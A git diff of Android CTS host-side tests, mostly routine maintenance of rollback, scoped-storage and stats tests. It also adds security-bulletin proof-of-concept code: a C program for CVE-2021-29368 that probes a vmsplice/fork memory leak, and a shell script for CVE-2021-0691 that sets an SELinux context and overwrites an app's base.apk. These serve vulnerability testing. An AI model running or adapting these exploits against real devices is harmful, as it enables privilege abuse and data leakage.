-    private void uninstallPackageWithKeepData(String packageName)
-            throws DeviceNotAvailableException {
-        getDevice().executeShellCommand("pm uninstall -k " + packageName);
-    }
-
-    private void waitForBootCompleted() throws Exception {
-        for (int i = 0; i < 45; i++) {
-            if (isBootCompleted()) {
-                return;
-            }
-            Thread.sleep(1000);
-        }
-        throw new AssertionError("System failed to become ready!");
-    }
-
-    private boolean isBootCompleted() throws Exception {
-        return "1".equals(getDevice().executeShellCommand("getprop sys.boot_completed").trim());
-    }
-}
\ No newline at end of file
diff --git a/hostsidetests/packagemanager/domainverification/device/multiuser/src/com/android/cts/packagemanager/verify/domain/device/multiuser/DomainVerificationWorkProfileTestsBase.kt b/hostsidetests/packagemanager/domainverification/device/multiuser/src/com/android/cts/packagemanager/verify/domain/device/multiuser/DomainVerificationWorkProfileTestsBase.kt
index f317de8..7fd0319 100644
--- a/hostsidetests/packagemanager/domainverification/device/multiuser/src/com/android/cts/packagemanager/verify/domain/device/multiuser/DomainVerificationWorkProfileTestsBase.kt
+++ b/hostsidetests/packagemanager/domainverification/device/multiuser/src/com/android/cts/packagemanager/verify/domain/device/multiuser/DomainVerificationWorkProfileTestsBase.kt
@@ -22,6 +22,8 @@
 import android.net.Uri
 import com.android.bedstead.harrier.BedsteadJUnit4
 import com.android.bedstead.harrier.DeviceState
+import com.android.bedstead.harrier.annotations.AfterClass
+import com.android.bedstead.harrier.annotations.BeforeClass
 import com.android.bedstead.harrier.annotations.EnsureHasWorkProfile
 import com.android.bedstead.harrier.annotations.Postsubmit
 import com.android.bedstead.harrier.annotations.RequireRunOnPrimaryUser
@@ -44,10 +46,8 @@
 import com.google.common.truth.Truth.assertThat
 import com.google.common.truth.Truth.assertWithMessage
 import org.junit.After
-import org.junit.AfterClass
 import org.junit.Assume.assumeTrue
 import org.junit.Before
-import org.junit.BeforeClass
 import org.junit.ClassRule
 import org.junit.Rule
 import org.junit.Test
diff --git a/hostsidetests/packagemanager/stats/src/com/android/cts/packagemanager/stats/host/IncrementalAppErrorStatsTests.java b/hostsidetests/packagemanager/stats/src/com/android/cts/packagemanager/stats/host/IncrementalAppErrorStatsTests.java
index 12441f5..eaad80d 100644
--- a/hostsidetests/packagemanager/stats/src/com/android/cts/packagemanager/stats/host/IncrementalAppErrorStatsTests.java
+++ b/hostsidetests/packagemanager/stats/src/com/android/cts/packagemanager/stats/host/IncrementalAppErrorStatsTests.java
@@ -21,6 +21,7 @@
 
 import static com.google.common.truth.Truth.assertThat;
 
+import android.cts.statsdatom.lib.AtomTestUtils;
 import android.cts.statsdatom.lib.ConfigUtils;
 import android.cts.statsdatom.lib.DeviceUtils;
 import android.cts.statsdatom.lib.ReportUtils;
@@ -113,6 +114,11 @@
         DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testLoadingApks");
     }
 
+    private boolean hasIncrementalDeliveryV2Feature() throws Exception {
+        return "true\n".equals(getDevice().executeShellCommand(
+                "pm has-feature android.software.incremental_delivery 2"));
+    }
+
     @After
     public void tearDown() throws Exception {
         if (mSession != null) {
@@ -158,10 +164,47 @@
         assertFalse(atom.getReadLogsEnabled());
         assertTrue(atom.getMillisSinceLastDataLoaderBind() > 0);
         assertEquals(0, atom.getDataLoaderBindDelayMillis());
+        if (!hasIncrementalDeliveryV2Feature()) {
+            // Skip kernel stats check if it's not supported
+            return;
+        }
         assertTrue(atom.getTotalDelayedReads() > 0);
         assertTrue(atom.getTotalFailedReads() > 0);
         assertTrue(atom.getLastReadErrorMillisSince() > 0);
         assertEquals(-62 /* -ETIME */, atom.getLastReadErrorCode());
         assertTrue(atom.getTotalDelayedReadsDurationMillis() > 0);
     }
+
+    public void testAppAnrIncremental() throws Exception {
+        if (!getDevice().hasFeature(FEATURE_INCREMENTAL_DELIVERY)) {
+            return;
+        }
+        final int atomTag = AtomsProto.Atom.ANR_OCCURRED_FIELD_NUMBER;
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag, /*useUidAttributionChain=*/false);
+        final int ANR_WAIT_MILLS = 15_000;
+
+        try (AutoCloseable a = DeviceUtils.withActivity(getDevice(),
+                DeviceUtils.STATSD_ATOM_TEST_PKG, "ANRActivity", null, null)) {
+            Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+            getDevice().executeShellCommand(
+                    "am broadcast -a action_anr -p " + DeviceUtils.STATSD_ATOM_TEST_PKG);
+            Thread.sleep(ANR_WAIT_MILLS);
+        }
+
+        // Sorted list of events in order in which they occurred.
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        assertThat(data).hasSize(1);
+        assertThat(data.get(0).getAtom().hasAnrOccurred()).isTrue();
+        AtomsProto.ANROccurred atom = data.get(0).getAtom().getAnrOccurred();
+        assertThat(atom.getIsInstantApp().getNumber())
+                .isEqualTo(AtomsProto.ANROccurred.InstantApp.FALSE_VALUE);
+        assertThat(atom.getForegroundState().getNumber())
+                .isEqualTo(AtomsProto.ANROccurred.ForegroundState.FOREGROUND_VALUE);
+        assertThat(atom.getErrorSource()).isEqualTo(ErrorSource.DATA_APP);
+        assertThat(atom.getPackageName()).isEqualTo(DeviceUtils.STATSD_ATOM_TEST_PKG);
+        assertTrue(atom.getIsIncremental());
+        assertFalse((1.0f - atom.getLoadingProgress()) < 0.0000001f);
+    }
 }
diff --git a/hostsidetests/rollback/app/src/com/android/cts/rollback/host/app/HostTestHelper.java b/hostsidetests/rollback/app/src/com/android/cts/rollback/host/app/HostTestHelper.java
index 156980a..a34da7b 100644
--- a/hostsidetests/rollback/app/src/com/android/cts/rollback/host/app/HostTestHelper.java
+++ b/hostsidetests/rollback/app/src/com/android/cts/rollback/host/app/HostTestHelper.java
@@ -644,14 +644,14 @@
     }
 
     @Test
-    public void testRollbackFailsBlockingSessions_Phase1_Install() throws Exception {
+    public void testRollbackFailsOtherSessions_Phase1_Install() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(-1);
         Install.single(TestApp.A1).commit();
         Install.single(TestApp.A2).setStaged().setEnableRollback().commit();
     }
 
     @Test
-    public void testRollbackFailsBlockingSessions_Phase2_RollBack() throws Exception {
+    public void testRollbackFailsOtherSessions_Phase2_RollBack() throws Exception {
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
         InstallUtils.processUserData(TestApp.A);
         // Stage session for package A to check if it can block rollback of A
@@ -659,7 +659,7 @@
 
         // Stage another package not related to the rollback
         Install.single(TestApp.B1).commit();
-        Install.single(TestApp.B2).setStaged().setEnableRollback().commit();
+        final int sessionIdB = Install.single(TestApp.B2).setStaged().setEnableRollback().commit();
 
         final RollbackInfo available = RollbackUtils.getAvailableRollback(TestApp.A);
         RollbackUtils.rollback(available.getRollbackId(), TestApp.A2);
@@ -676,13 +676,18 @@
         assertThat(sessionA).isNotNull();
         assertThat(sessionA.isStagedSessionFailed()).isTrue();
 
+        // Assert that the unrelated staged session is also failed
+        final PackageInstaller.SessionInfo sessionB = InstallUtils.getStagedSessionInfo(sessionIdB);
+        assertThat(sessionB).isNotNull();
+        assertThat(sessionB.isStagedSessionFailed()).isTrue();
+
         // Note: The app is not rolled back until after the rollback is staged
         // and the device has been rebooted.
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
     }
 
     @Test
-    public void testRollbackFailsBlockingSessions_Phase3_Confirm() throws Exception {
+    public void testRollbackFailsOtherSessions_Phase3_Confirm() throws Exception {
         // Process TestApp.A
         assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
         InstallUtils.processUserData(TestApp.A);
@@ -693,8 +698,69 @@
         assertThat(committed).causePackagesContainsExactly(TestApp.A2);
         assertThat(committed.getCommittedSessionId()).isNotEqualTo(-1);
 
-        // Assert that unrelated package were not effected
+        // Assert that unrelated package was also failed
+        assertThat(InstallUtils.getInstalledVersion(TestApp.B)).isEqualTo(1);
+    }
+
+    @Test
+    public void testSimultaneousRollbacksBothSucceed_Phase1_Install() throws Exception {
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(-1);
+        assertThat(InstallUtils.getInstalledVersion(TestApp.B)).isEqualTo(-1);
+        Install.single(TestApp.A1).commit();
+        Install.single(TestApp.A2).setStaged().setEnableRollback().commit();
+        Install.single(TestApp.B1).commit();
+        Install.single(TestApp.B2).setStaged().setEnableRollback().commit();
+    }
+
+    @Test
+    public void testSimultaneousRollbacksBothSucceed_Phase2_RollBack() throws Exception {
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
         assertThat(InstallUtils.getInstalledVersion(TestApp.B)).isEqualTo(2);
+        InstallUtils.processUserData(TestApp.A);
+        InstallUtils.processUserData(TestApp.B);
+
+        final RollbackInfo available = RollbackUtils.getAvailableRollback(TestApp.A);
+        RollbackUtils.rollback(available.getRollbackId(), TestApp.A2);
+        final RollbackInfo committed = RollbackUtils.getCommittedRollback(TestApp.A);
+        assertThat(committed).hasRollbackId(available.getRollbackId());
+        assertThat(committed).isStaged();
+        assertThat(committed).packagesContainsExactly(
+                Rollback.from(TestApp.A2).to(TestApp.A1));
+        assertThat(committed).causePackagesContainsExactly(TestApp.A2);
+        assertThat(committed.getCommittedSessionId()).isNotEqualTo(-1);
+
+        final RollbackInfo availableB = RollbackUtils.getAvailableRollback(TestApp.B);
+        RollbackUtils.rollback(availableB.getRollbackId(), TestApp.B2);
+        final RollbackInfo committedB = RollbackUtils.getCommittedRollback(TestApp.B);
+        assertThat(committedB).hasRollbackId(availableB.getRollbackId());
+        assertThat(committedB).isStaged();
+        assertThat(committedB).packagesContainsExactly(
+                Rollback.from(TestApp.B2).to(TestApp.B1));
+        assertThat(committedB).causePackagesContainsExactly(TestApp.B2);
+        assertThat(committedB.getCommittedSessionId()).isNotEqualTo(-1);
+    }
+
+    @Test
+    public void testSimultaneousRollbacksBothSucceed_Phase3_Confirm() throws Exception {
+        // Process TestApp.A
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
+        InstallUtils.processUserData(TestApp.A);
+        final RollbackInfo committed = RollbackUtils.getCommittedRollback(TestApp.A);
+        assertThat(committed).isStaged();
+        assertThat(committed).packagesContainsExactly(
+                Rollback.from(TestApp.A2).to(TestApp.A1));
+        assertThat(committed).causePackagesContainsExactly(TestApp.A2);
+        assertThat(committed.getCommittedSessionId()).isNotEqualTo(-1);
+
+        // Process TestApp.B
+        assertThat(InstallUtils.getInstalledVersion(TestApp.B)).isEqualTo(1);
+        InstallUtils.processUserData(TestApp.B);
+        final RollbackInfo committedB = RollbackUtils.getCommittedRollback(TestApp.B);
+        assertThat(committedB).isStaged();
+        assertThat(committedB).packagesContainsExactly(
+                Rollback.from(TestApp.B2).to(TestApp.B1));
+        assertThat(committedB).causePackagesContainsExactly(TestApp.B2);
+        assertThat(committedB.getCommittedSessionId()).isNotEqualTo(-1);
     }
 
     /**
diff --git a/hostsidetests/rollback/src/com/android/cts/rollback/host/RollbackManagerHostTest.java b/hostsidetests/rollback/src/com/android/cts/rollback/host/RollbackManagerHostTest.java
index 7191353..f373d47 100644
--- a/hostsidetests/rollback/src/com/android/cts/rollback/host/RollbackManagerHostTest.java
+++ b/hostsidetests/rollback/src/com/android/cts/rollback/host/RollbackManagerHostTest.java
@@ -221,15 +221,30 @@
      * Tests that existing staged sessions are failed when rollback is committed
      */
     @Test
-    public void testRollbackFailsBlockingSessions() throws Exception {
+    public void testRollbackFailsOtherSessions() throws Exception {
         assumeTrue("Device does not support file-system checkpoint",
                 mHostUtils.isCheckpointSupported());
 
-        run("testRollbackFailsBlockingSessions_Phase1_Install");
+        run("testRollbackFailsOtherSessions_Phase1_Install");
         getDevice().reboot();
-        run("testRollbackFailsBlockingSessions_Phase2_RollBack");
+        run("testRollbackFailsOtherSessions_Phase2_RollBack");
         getDevice().reboot();
-        run("testRollbackFailsBlockingSessions_Phase3_Confirm");
+        run("testRollbackFailsOtherSessions_Phase3_Confirm");
+    }
+
+    /**
+     * Tests that simultaneous rollbacks both succeed - neither causes the other to fail.
+     */
+    @Test
+    public void testSimultaneousRollbacksBothSucceed() throws Exception {
+        assumeTrue("Device does not support file-system checkpoint",
+                mHostUtils.isCheckpointSupported());
+
+        run("testSimultaneousRollbacksBothSucceed_Phase1_Install");
+        getDevice().reboot();
+        run("testSimultaneousRollbacksBothSucceed_Phase2_RollBack");
+        getDevice().reboot();
+        run("testSimultaneousRollbacksBothSucceed_Phase3_Confirm");
     }
 
     /**
diff --git a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/RedactUriDeviceTest.java b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/RedactUriDeviceTest.java
index 3c7da37..292b85e 100644
--- a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/RedactUriDeviceTest.java
+++ b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/RedactUriDeviceTest.java
@@ -58,6 +58,7 @@
 
 import org.junit.AfterClass;
 import org.junit.BeforeClass;
+import org.junit.Ignore;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized;
@@ -275,6 +276,7 @@
      * redacted mode.
      **/
     @Test
+    @Ignore("Enable when b/194700183 is fixed")
     public void testSharedRedactedUri_openFileForRead() throws Exception {
         forceStopApp(APP_B_NO_PERMS.getPackageName());
         final File img = stageImageFileWithMetadata(IMAGE_FILE_NAME);
diff --git a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
index b5aa08d..605f85c 100644
--- a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
+++ b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
@@ -1360,10 +1360,9 @@
             revokePermission(packageName, permission);
         } else {
             denyAppOpsToUid(uid, opstr);
+            // TODO(191724755): Poll for AppOp state change instead
+            Thread.sleep(200);
         }
-        // revokePermission waits for permission status to be updated, but MediaProvider still
-        // needs to get permission change callback and clear its permission cache.
-        Thread.sleep(100);
         assertThat(canOpenFileAs(app, file, forWrite)).isFalse();
 
         // Grant
@@ -1371,10 +1370,9 @@
             grantPermission(packageName, permission);
         } else {
             allowAppOpsToUid(uid, opstr);
+            // TODO(191724755): Poll for AppOp state change instead
+            Thread.sleep(200);
         }
-        // grantPermission waits for permission status to be updated, but MediaProvider still
-        // needs to get permission change callback and clear its permission cache.
-        Thread.sleep(100);
         assertThat(canOpenFileAs(app, file, forWrite)).isTrue();
 
         // Deny
@@ -1382,10 +1380,9 @@
             revokePermission(packageName, permission);
         } else {
             denyAppOpsToUid(uid, opstr);
+            // TODO(191724755): Poll for AppOp state change instead
+            Thread.sleep(200);
         }
-        // revokePermission waits for permission status to be updated, but MediaProvider still
-        // needs to get permission change callback and clear its permission cache.
-        Thread.sleep(100);
         assertThat(canOpenFileAs(app, file, forWrite)).isFalse();
     }
 
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/AppCloningHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/AppCloningHostTest.java
index 7f19369..281df8f 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/AppCloningHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/AppCloningHostTest.java
@@ -19,6 +19,7 @@
 import static com.google.common.truth.Truth.assertThat;
 
 import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeTrue;
 
 import android.platform.test.annotations.AppModeFull;
 
@@ -41,9 +42,8 @@
 public class AppCloningHostTest extends BaseHostTestCase {
     private static final String APP_A = "CtsScopedStorageTestAppA.apk";
     private static final String APP_A_PACKAGE = "android.scopedstorage.cts.testapp.A.withres";
-    private static final String APP_FOR_PVT_PACKAGE = "com.google.android.gms";
     private static final String CONTENT_PROVIDER_URL = "content://android.tradefed.contentprovider";
-    private static final int APP_DATA_DIRECTORY_CREATION_TIMEOUT_MS = 20000;
+    private static final int CLONE_PROFILE_DIRECTORY_CREATION_TIMEOUT_MS = 20000;
     private String mCloneUserId;
     private ContentProviderHandler mContentProviderHandler;
 
@@ -51,6 +51,7 @@
     @Before
     public void setup() throws Exception {
         assumeFalse("Device is in headless system user mode", isHeadlessSystemUserMode());
+        assumeTrue(isAtLeastS());
 
         String output = executeShellCommand(
                 "pm create-user --profileOf 0 --user-type android.os.usertype.profile.CLONE "
@@ -65,7 +66,8 @@
 
     @After
     public void tearDown() throws Exception {
-        if (isHeadlessSystemUserMode()) return;
+        if (isHeadlessSystemUserMode() || !isAtLeastS()) return;
+        mContentProviderHandler.tearDown();
         executeShellCommand("pm remove-user %s", mCloneUserId);
     }
 
@@ -78,15 +80,24 @@
 
     @Test
     public void testCreateCloneUserFile() throws Exception {
+        CommandResult out;
+
         // Check that the clone user directories exist
-        CommandResult out = runContentProviderCommand("query", mCloneUserId, "/sdcard", "");
-        assertThat(isSuccessful(out)).isTrue();
+        eventually(() -> {
+            // Wait for finish.
+            assertThat(isSuccessful(
+                    runContentProviderCommand("query", mCloneUserId, "/sdcard", ""))).isTrue();
+        }, CLONE_PROFILE_DIRECTORY_CREATION_TIMEOUT_MS);
+
         // Create a file on the clone user storage
         out = executeShellV2Command("touch /sdcard/testFile.txt");
         assertThat(isSuccessful(out)).isTrue();
-        out = runContentProviderCommand("write", mCloneUserId, "/sdcard/testFile.txt",
-                "< /sdcard/testFile.txt");
-        assertThat(isSuccessful(out)).isTrue();
+        eventually(() -> {
+            // Wait for finish.
+            assertThat(isSuccessful(
+                    runContentProviderCommand("write", mCloneUserId, "/sdcard/testFile.txt",
+                            "< /sdcard/testFile.txt"))).isTrue();
+        }, CLONE_PROFILE_DIRECTORY_CREATION_TIMEOUT_MS);
 
         // Check that the above created file exists on the clone user storage
         out = runContentProviderCommand("query", mCloneUserId, "/sdcard/testFile.txt", "");
@@ -99,9 +110,11 @@
 
     @Test
     public void testPrivateAppDataDirectoryForCloneUser() throws Exception {
+        installAppAsUser(APP_A, Integer.valueOf(mCloneUserId));
         eventually(() -> {
-            assertThat(isPackageInstalled(APP_FOR_PVT_PACKAGE, mCloneUserId)).isTrue();
-        }, APP_DATA_DIRECTORY_CREATION_TIMEOUT_MS);
+            // Wait for finish.
+            assertThat(isPackageInstalled(APP_A_PACKAGE, mCloneUserId)).isTrue();
+        }, CLONE_PROFILE_DIRECTORY_CREATION_TIMEOUT_MS);
     }
 
     private void installAppAsUser(String packageFile, int userId)
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/BaseHostTestCase.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/BaseHostTestCase.java
index bb2b6cc..5587a88 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/BaseHostTestCase.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/BaseHostTestCase.java
@@ -48,6 +48,10 @@
         return "true".equalsIgnoreCase(result);
     }
 
+    protected boolean isAtLeastS() throws DeviceNotAvailableException {
+        return getDevice().getApiLevel() >= 31 /* BUILD.VERSION_CODES.S */;
+    }
+
     protected static void eventually(ThrowingRunnable r, long timeoutMillis) {
         long start = System.currentTimeMillis();
 
diff --git a/hostsidetests/security/src/android/security/cts/ProcessMustUseSeccompTest.java b/hostsidetests/security/src/android/security/cts/ProcessMustUseSeccompTest.java
index e670426..c6ea1b8 100644
--- a/hostsidetests/security/src/android/security/cts/ProcessMustUseSeccompTest.java
+++ b/hostsidetests/security/src/android/security/cts/ProcessMustUseSeccompTest.java
@@ -136,6 +136,7 @@
     }
 
     public void testOmxHalHasSeccompFilter() throws DeviceNotAvailableException {
-        assertSeccompFilter("media.codec", PS_CMD, false);
+        // 64bit only devices don't have 32bit only media.codec (omx)
+        assertSeccompFilter("media.codec", PS_CMD, false, false /* mustHaveProcess */);
     }
 }
diff --git a/hostsidetests/securitybulletin/res/cve_2021_0481.txt b/hostsidetests/securitybulletin/res/cve_2021_0481.txt
new file mode 100644
index 0000000..f8d64e2
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2021_0481.txt
@@ -0,0 +1 @@
+This is cve_2021-0481.txt
diff --git a/hostsidetests/securitybulletin/res/cve_2021_0691.sh b/hostsidetests/securitybulletin/res/cve_2021_0691.sh
new file mode 100644
index 0000000..f0baada
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2021_0691.sh
@@ -0,0 +1,6 @@
+#!/bin/sh
+echo -n 'u:r:system_app:s0' > /proc/self/attr/current
+cd $1
+ls -l base.apk
+echo aaa > base.apk
+ls -l base.apk
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
new file mode 100644
index 0000000..7b410b7
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/Android.bp
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+    name: "CVE-2021-29368",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: ["poc.cpp",],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/poc.cpp
new file mode 100644
index 0000000..1b3528c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-29368/poc.cpp
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#if !defined _GNU_SOURCE
+#define _GNU_SOURCE
+#endif
+
+#include <err.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/mman.h>
+#include <sys/uio.h>
+#include <sys/wait.h>
+#include <unistd.h>
+
+#include "../includes/common.h"
+
+#define SYSCHK(x)                                               \
+    ({                                                          \
+        typeof(x) __res = (x);                                  \
+        if (__res == (typeof(x)) - 1) err(1, "SYSCHK(" #x ")"); \
+        __res;                                                  \
+    })
+
+static char *data;
+
+static int child_fn(void) {
+    int pipe_fds[2];
+    SYSCHK(pipe(pipe_fds));
+    struct iovec iov = {.iov_base = data, .iov_len = 0x1000};
+    SYSCHK(vmsplice(pipe_fds[1], &iov, 1, 0));
+    SYSCHK(munmap(data, 0x1000));
+    sleep(2);
+    char buf[0x1000];
+    SYSCHK(read(pipe_fds[0], buf, 0x1000));
+    printf("read string from child: %s\n", buf);
+
+    // check if buf has been altered by parent process
+    if (strcmp("BORING DATA", buf) == 0) {
+        return EXIT_SUCCESS;
+    }
+    if (strcmp("THIS IS SECRET", buf) == 0) {
+        return EXIT_VULNERABLE;
+    }
+    return EXIT_FAILURE;
+}
+
+int main(void) {
+    if (posix_memalign((void **)&data, 0x1000, 0x1000)) errx(1, "posix_memalign()");
+    strcpy(data, "BORING DATA");
+
+    pid_t child = SYSCHK(fork());
+    if (child == 0) {
+        exit(child_fn());
+    }
+
+    sleep(1);
+    strcpy(data, "THIS IS SECRET");
+
+    int status;
+    SYSCHK(waitpid(child, &status, 0));
+    printf("child WEXITSTATUS(status) => %d\n", WEXITSTATUS(status));
+    return WEXITSTATUS(status);
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Bug_187957589.java b/hostsidetests/securitybulletin/src/android/security/cts/Bug_187957589.java
index 6957ff9..84ae114 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Bug_187957589.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Bug_187957589.java
@@ -17,7 +17,7 @@
 package android.security.cts;
 import static org.junit.Assume.assumeFalse;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -28,8 +28,8 @@
      * b/187957589
      * Vulnerability Behaviour: out of bounds write in noteAtomLogged for negative atom ids.
      */
-    @SecurityTest(minPatchLevel = "unknown")
     @Test
+    @AsbSecurityTest(cveBugId = 187957589)
     public void testPocBug_187957589() throws Exception {
         assumeFalse(moduleIsPlayManaged("com.google.android.os.statsd"));
         AdbUtils.runPoc("Bug-187957589", getDevice());
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_2182.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_2182.java
index e6e1015..4ee8a5e 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_2182.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_2182.java
@@ -15,7 +15,7 @@
  */
 
 package android.security.cts;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -29,8 +29,8 @@
      * b/32096880
      * Vulnerability Behaviour: SIGSEGV in self
      */
-    @SecurityTest(minPatchLevel = "2017-03")
     @Test
+    @AsbSecurityTest(cveBugId = 32096880)
     public void testPocCVE_2016_2182() throws Exception {
         assumeFalse(moduleIsPlayManaged("com.google.android.conscrypt"));
         String binaryName = "CVE-2016-2182";
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_8332.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_8332.java
index 9d032cd..462864b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_8332.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2016_8332.java
@@ -16,7 +16,7 @@
 
 package android.security.cts;
 
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -28,8 +28,8 @@
      * b/37761553
      * Vulnerability Behaviour: SIGSEGV in self
      */
-    @SecurityTest(minPatchLevel = "2017-06")
     @Test
+    @AsbSecurityTest(cveBugId = 37761553)
     public void testPocCVE_2016_8332() throws Exception {
         AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2016-8332", null, getDevice());
     }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0684.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0684.java
index 4dd4b39..0267551 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0684.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0684.java
@@ -15,7 +15,7 @@
  */
 
 package android.security.cts;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -27,8 +27,8 @@
      * b/35421151
      * Vulnerability Behaviour: SIGSEGV in media.codec
      */
-    @SecurityTest(minPatchLevel = "2017-07")
     @Test
+    @AsbSecurityTest(cveBugId = 35421151)
     public void testPocCVE_2017_0684() throws Exception {
         pocPusher.only32();
         String errPattern[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0726.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0726.java
index 5a17589..4f08b71 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0726.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0726.java
@@ -15,7 +15,7 @@
  */
 
 package android.security.cts;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
@@ -27,8 +27,8 @@
      * b/36389123
      * Vulnerability Behaviour: EXIT_VULNERABLE (113)
      */
-    @SecurityTest(minPatchLevel = "2017-08")
     @Test
+    @AsbSecurityTest(cveBugId = 36389123)
     public void testPocCVE_2017_0726() throws Exception {
         pocPusher.only64();
         String inputFiles[] = {"cve_2017_0726.mp4"};
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_13194.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_13194.java
index ab83ce3..62c72f2 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_13194.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_13194.java
@@ -15,7 +15,7 @@
  */
 
 package android.security.cts;
-import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.AsbSecurityTest;
 import org.junit.Test;
